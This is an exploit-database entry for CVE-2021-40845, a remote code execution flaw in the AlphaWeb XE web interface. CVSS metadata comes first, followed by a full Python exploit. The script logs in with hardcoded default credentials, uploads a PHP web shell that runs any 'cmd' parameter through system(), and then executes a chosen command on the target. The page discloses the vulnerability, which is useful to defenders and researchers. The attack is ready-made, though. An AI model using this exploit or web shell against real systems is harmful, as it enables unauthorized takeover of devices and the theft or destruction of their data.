Exploitalert - Database of Exploits

AlphaWeb XE File Upload Remote Code Execution (Authenticated)

CVE	Category	Price	Severity
CVE-2021-40845	CWE-78	$500	Critical

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2021-09-15

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	0.08579	0.6813

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2021090086

AlphaWeb XE File Upload Remote Code Execution (Authenticated)

# Exploit Title: AlphaWeb XE - File Upload Remote Code Execution (RCE) (Authenticated) # Date: 09/09/2021 # Exploit Author: Ricardo Ruiz (@ricardojoserf) # Vendor website: https://www.zenitel.com/ # Product website: https://wiki.zenitel.com/wiki/AlphaWeb # Example: python3 CVE-2021-40845.py -u "http://$ip:80/" -c "whoami" # Reference: https://github.com/ricardojoserf/CVE-2021-40845 import requests import base64 import argparse # Default credentials, change them if it is necessary admin_user = "admin" admin_pass = "alphaadmin" scripter_user = "scripter" scripter_pass = "alphascript" def get_args(): parser = argparse.ArgumentParser() parser.add_argument('-u', '--url', required=True, action='store', help='Target url') parser.add_argument('-c', '--command', required=True, action='store', help='Command to execute') my_args = parser.parse_args() return my_args def main(): args = get_args() base_url = args.url url_main = base_url + "/php/index.php" url_upload = base_url + "/php/script_uploads.php" command = args.command uploaded_file = "poc.php" url_cmd = base_url + "/cmd/" + uploaded_file + "?cmd=" + command login_authorization = "Basic " + str(base64.b64encode((admin_user+':'+admin_pass).encode('ascii')).decode('ascii')) upload_authorization = "Basic " + str(base64.b64encode((scripter_user+":"+scripter_pass).encode('ascii')).decode('ascii')) headers_login = { "Authorization": login_authorization, "Cache-Control": "max-age=0" } headers_upload = { 'Authorization': upload_authorization, 'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="92"', 'sec-ch-ua-mobile': '?0', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-User': '?1', 'Sec-Fetch-Dest': 'iframe', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'en-US,en;q=0.9', } files = { "userfile":(uploaded_file, "<?php if(isset($_REQUEST['cmd'])){ echo \"<pre>\"; $cmd = ($_REQUEST['cmd']); system($cmd); echo \"</pre>\"; die; }?>"), } s = requests.session() # Login as admin s.get(url_main, headers = headers_login) # Upload file upload = s.post(url_upload, files=files, headers = headers_upload) # Execute command cmd = s.post(url_cmd) print(cmd.text.replace("<pre>","").replace("</pre>","")) if __name__ == "__main__": main()

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